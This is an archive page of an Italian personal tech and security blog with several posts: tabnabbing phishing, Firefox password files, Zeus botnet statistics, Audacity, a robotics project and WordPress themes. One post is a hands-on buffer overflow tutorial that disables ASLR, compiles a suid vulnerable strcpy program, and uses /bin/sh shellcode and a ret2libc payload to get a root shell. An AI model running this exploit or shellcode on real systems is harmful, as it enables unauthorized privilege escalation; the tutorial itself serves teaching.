Sunday February 5th 2012

Tabnabbing: A New Type of Phishing Attack

Anche voi siete abili navigatori web, frequentatori di forum, amanti del protocollo HTTP e ogni volta aprite contemporaneamente mille tab del proprio browser?

Bene. Allora questo articolo fa per voi!

Infatti un web design americano Aza Raskin ha recentemente pubblicato una nuova tipologia di phishing: il Tabnabbing.

Questa nuova tecnica di attacco sfrutta proprio questa caratteristica comune a molti di tenere aperte centinaia di tab. Nello specifico consiste in un file Javascript dove si imposta un redirect nel momento in cui l’utente seleziona altre tab aperte. Dunque punta a sfruttare l’attimo di distrazione da parte del navigatore impegnato a leggere altre pagine.

Infatti nel sito dove viene descritta questa tecnica è presente anche una demo: se lo avete aperto in un nuovo tab e poi siete ritornati qui per leggere il resto dell’articolo sicuramente noterete che è stato fatto un redirect ad una pagina contente l’immagine di login di gmail.

Semplice ma efficace!

C’è anche un video che illustra bene quello che succede.

A New Type of Phishing Attack from Aza Raskin on Vimeo.

Forte vero?
Alla prossima!

Firefox Saved Password

Occhio ragazzi! Se siete come me, ossia un utilizzatore abituale di firefox, state attenti a non farvi rubare questi due file localizzati nella directory dell’utente di Mozilla:

  • key3.db
  • signons.sqlite

Ecco cosa potrebbe capitare:

In questo modo anche la vostra ragazza potrebbe farvela!
:D

Analizziamo una Botnet con Zeus Tracker

In occasione del corso di formazione relativo al task 03 di ICAR, a fine giornata un signore mi pose una domanda, seppur banale per noi amanti della network security, molto accattivante e ricca di riflessioni personali: Che cosa è una botnet?

Dovendo spiegare a persone che di informatica non ne masticano, a maggior ragione di sicurezza, presi il videoproiettore e con la frase “Ecco questa è una botnet…” mostrai la seguente immagine:

Si tratta infatti di una immagine estrapolata dal sito ZeusTracker che mostra in tempo reale le macchine infette nel mondo. Ora non è compito di questo articolo spiegarvi cosa sia una botnet perchè di materiale in rete ve ne è fin troppo. Quello che mi preme condividere sono le informazioni presenti in ZeusTracker.

Oltre a fornire una rapida overview della situazione, c’è una blocklist sia di IP che Domain da poter scaricare e caricare nel proprio firewall/proxy. Inoltre nel caso in cui dobbiate fare un’analisi sulle botnet potreste prendere Zeus come esempio e recuperare i dati nella pagina delle statistiche.

Attualmente la botnet presenta un numero di “nuovi” host al mese superiore a 300:

con un totale di circa 1410 macchine infettate:

con i C&C hostati su domini di provenienza cinese, russa e americana:

e infine non potevano mancare gli ultimi arrivi:

:-)

Peccato che non ci sia il costo per l’affitto!! Comunque non disperiamo… con 200 € compriamo direttamente i sorgenti:

Non sarà del calibro di Zeus ma va bene lo stesso!
[spero che vi siate fatti una risata qui.]

Vi lascio con un simpatico video su una investigazione fatta dalla BBC nel Marzo 2009:

Alla prossima!

Le basi del BOF Buffer overflow

Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l’ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura…

Dopo l’articolo sulle basi dell’assembly e del debugging, vediamo in questo come implementare la tecnica del buffer overflow.

Senza perderci troppo sulla teoria che rimando a wikipedia, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.

Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

Per riabilitarlo invece:

root@bt:~# sysctl -w kernel.randomize_va_space=3

vuln.c

int main(int argc, char **argv){
          char buf[8];
          strcpy(buf, argv[1]);
          printf("Hello %s\n", buf);
}

Compiliamo:

# gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’

Ricordiamoci di utilizzare le opzioni -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 per il kernel 2.6.x e settiamo il suid:

#chmod +s vuln

Procuriamoci uno shellcode da shellcode.org testiamo il suo funzionamento:

char main[] =
     "\xeb\x19\x5e\xb0\x46\x31\xdb\x31"
     "\xc9\xcd\x80\x31\xc0\xb0\x0b\x89"
     "\xf3\x31\xff\x57\x56\x89\xe1\x31"
     "\xd2\xcd\x80\xe8\xe2\xff\xff\xff"
     "/bin/sh";

Testiamo il suo corretto funzionamento:

root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#

Bene ora possiamo esportare il tutto in una variabile d’ambiente aggiungendo anche del nop code.

user@bt$ export SH=`perl -e 'print "\x90"x64,"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"'`

Ora non ci resta che individuare dove è localizzata la variabile d’ambiente appena creata.

get.c

int main(int argc, char *argv[])
{
          printf("The address of %s is %p\n",argv[1], getenv(argv[1]));
          return 0;
}

Compiliamo e cerchiamo l’indirizzo della variabile d’ambiente:

user@$ ./get SH
The address of SH is 0xbffffed4

Ora possimao lanciare l’exploit sull’indirizzo appena trovato:

user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print "\xd4\xfe\xff\xbf"x4'`
Hello ����������������
# whoami
root

Possiamo fare anche la stessa cosa senza utilizzare una variabile d’ambiente e shellcode, ma cercando il binario direttamente nella memoria.

find.c

#include <stdio.h>
#include <stdlib.h>
#define BASE_ADDR    0xb7e7d000
int main(){
           char *ptr=BASE_ADDR;
           while(1){
                     if((strncmp(ptr,"/bin/sh",7))==0){
                                printf("%p : %s\n",ptr,ptr);
                                return 0;
                     }
                     ptr++;
           }
}

Compiliamo con le stesse opzioni adottatte per vuln.c

Analizziamo lo stack address:

user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
 
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 <system>:    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y

Nel caso in cui avessimo uno stack dinamico, l’indirizzo 0xb7ea7a90 cambierebbe ogni volta.

Cerchiamo la nostra shell in memoria:

user@bt$ ./find
0xb7faab33 : /bin/sh

Bene ora non ci resta che lanciare l’exploit:

user@bt$ ./vuln `printf "aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7"`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root

Questo articolo ha il solo scopo didattico, infatti con l’utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.

Fibra Ottica in Italia

Ottimo video realizzato da Stefano Quintarelli che illustra in modo molto esplicativo lo stato della fibra ottica in Italia. Da vedere assolutamente!!!

Fonte: AreaNetworking

Dividere le tracce con Audacity

Ci ho messo un po’ per capire come funziona Audacity lo ammetto! Ma poi tutto ha funzionato alla perfezione.
Per dividere una traccia lunga in segmenti più piccoli basta semplicemente importare il WAV, MP3 o AIFF e con il Selection Tool (la prima casellina sopra lo zoom per intenderci) clicchiamo nella parte che vogliamo dividere. Premiamo CMD + B e ripetiamo il tutto fino all’ultima traccia che intendiamo separare.

A lavoro terminato esportiamo cliccando su Export Multple dal menù File. Selezioniamo l’estensione, nel mio caso ho utilizzato AIFF e la directory di destinazione. Infine apriamo iTunes creiamo una nuova playlist, copiamo i file appena divisi e masterizziamo.

A presto.

Sistema Federato Interregionale di Autenticazione

Oggi in Regione Marche in occasione del corso di formazione relativo al task 03 di ICAR ho presentato il lavoro svolto durante il periodo di tesi. Di seguito trovate le slide: la prima illustra i concetti teorici mentre la seconda ha un’impronta leggermente più tecnica.

Buona lettura!

Microsoft Robitics Devoloper Studio

All’inizio di dicembre ci era stato assegnato all’università un progetto sul controllo cinematico inverso da implementare mediante la piattaforma Microsoft Robotics Devoloper Studio.

L’algoritmo in sè non sembrava essere particolarmente difficile da implementare: si trattava solamente di far seguire una traiettoria al robot e controllare ad ogni instante se la posizione corrente fosse corretta. In caso positivo procedeva con la coordinata successiva, altrimenti in caso negativo effettuava la controreazione ovvero calcolava la differenza fra la posizione desiderata e quella corrente correggendo così la traiettoria.

Il problema principale è stato quello di far funzionare MRDS secondo le nostre esigenze. Inizio con il dire che la versione con la quale ho lavorato si tratta della MRDS 2008 R2 Accademic Edition presa direttamente dal MSDN dell’università. Tuttavia esiste anche una versione freeware, che però non ho mai testato.

Una volta installato l’eseguibile vi sono diverse modalità di sviluppo:

  • VPL
  • C#
  • C++
  • VB.NET
  • Python

VPL
Inizialmente pensavamo di sviluppare il tutto tramite il linguaggio VPL, un linguaggio visuale che permette di programmare con dei blocchetti. La scelta di iniziare per questa via era stata dettata dal fatto che gli esempi in simulazione funzionavano correttamente, e per dei neofiti come noi sembrava un’ottima alternativa per incominciare a giocarci un po’. Tuttavia mi resi subito conto di due grosse problematiche:

+ la gestione degli array risultava improponibile;
+ la localizzazione del robot ad ogni instante.

C#
Pensammo così di iniziare a programmare in C# in modo da risolvere agevolmente il primo punto: quello degli array. Rimaneva però il problema della localizzazione del robot. Un punto molto difficile da risolvere poichè i robot testati non avevano alcun sensore che permettesse la localizzazione. Tra l’altro non vi era nessun esempio di quelli presenti con l’installazione che funzionasse. L’ambiente di simulazione non veniva creato e il run terminava con una bella serie di errori. Questo non ci ha permesso di capire le dinamiche che stanno alla base MRDS: la difficoltà stava nel capire come poter interagire con il robot e sopratutto come poter utilizzare servizi come il bumper, o il gps.

SPL
La soluzione è arrivata grazie a SPL il quale non è un linguaggio di programmazione ma bensì una estensione per MRDS che consente di scriptare il codice. In questo modo siamo riusciti a creare gli array necessari e soprattutto localizzare la posizione corrente del robot. Dopo aver inizializzato la traiettoria è stato così possibile risolvere l’algoritmo richiesto.

Vi lascio con i sorgenti del progetto semmai potesse servire a qualcuno.

A presto!!

New style

Finalmente ci siamo. Anche questo prima o poi andava fatto. Cosa???
Paradossalmente questo blog stava cadendo a pezzi! Supplicava proprio un re-styling da cima a fondo!

Non ho solamente modificato il template, ma ho ri-aggiornato tutte le categorie di ogni singolo post e perfezionato l’integrazione con twitter.
Tuttavia questo non deve essere un articolo in cui lodare il lavoro fatto. Voglio infatti linkarvi un po’ di siti web che ho visitato dove potrete trovare ottimi template gratis:

# http://www.smashingmagazine.com/2008/01/08/100-excellent-free-high-quality-wordpress-themes/
# http://www.smashingmagazine.com/2007/02/09/83-beautiful-wordpress-themes-you-probably-havent-seen/
# http://www.smashingmagazine.com/2009/05/18/100-amazing-free-wordpress-themes-for-2009/
# http://zenverse.net/category/wpthemes/free-wp-themes/
# http://www.instantshift.com/2010/02/19/60-latest-high-quality-free-wordpress-themes
# http://www.blogohblog.com/category/wordpress-themes/
# http://www.themesjunction.com/original_themes/1.html
# http://topwpthemes.com/
# http://wordpress.org/extend/themes/

Buon download a tutti!

ps: prometto che aggiornerò più spesso, magari con articoli interessanti. Infatti ultimamente sono stato un “po’” impegnato con laurea specialistica conclusa giovedì!

Primo post from Android: spettacolo!

Ho appena scaricato l’applicazione WordPress dal market… e ora la sto testando!!

 Page 2 of 6 « 1  2  3  4  5 » ...  Last » 

Latest Topics

Fake AP in 2 seconds

Fake AP in 2 seconds

Making an fake access point in Windows 7 it’s now really simple. Thanks to the new Wireless Hosted Networks [Read More]

Wpmap

Wpmap

Today 17 March in Italy is national holiday so I have spent my spare time to write a little tool: wpmap.py As you can [Read More]

Tutorial write an exploit part 3 SEH

Tutorial write an exploit part 3 SEH

In the previous tutorial we have seen some technique of buffer overflow, in most cases with the aim to overwrite the [Read More]

Tutorial write an exploit Part 2

After having fully understood the tutorial part 1 let’s go to read the second one. In this tutorial we will see [Read More]

Would you be white hat if it paid more?

Would you be white hat if it paid more?

If this is true or not no one knows but it is interesting to have an idea about cyber market. You can read the full [Read More]

Recent Comments

Marilena had this to say

Vivo in Germania e per vedere i canali italiani ho dovuto comprare una tvsmart card che ho inserito nel decoder, fino Read the post

Massimo had this to say

Anche grazie ai tuoi appunti sono riuscito a prendere 1000/1000! Read the post

Eddie Guerrero had this to say

Great stuff!!! I'll try this out in the lab. Keep up the work, many of us are inspired. Hopefully you'll get around to Read the post

Beppe had this to say

Ho acquistato un Telesystem 9010hd e sto impazzendo perchè spesso squadretta e dice che il segnale è troppo basso. Read the post

manzotti.eu had this to say

@pippo: che io sappia è necessario un decoder per ogni televisore. Magari qualcuno è più informato di me e potrebbe Read the post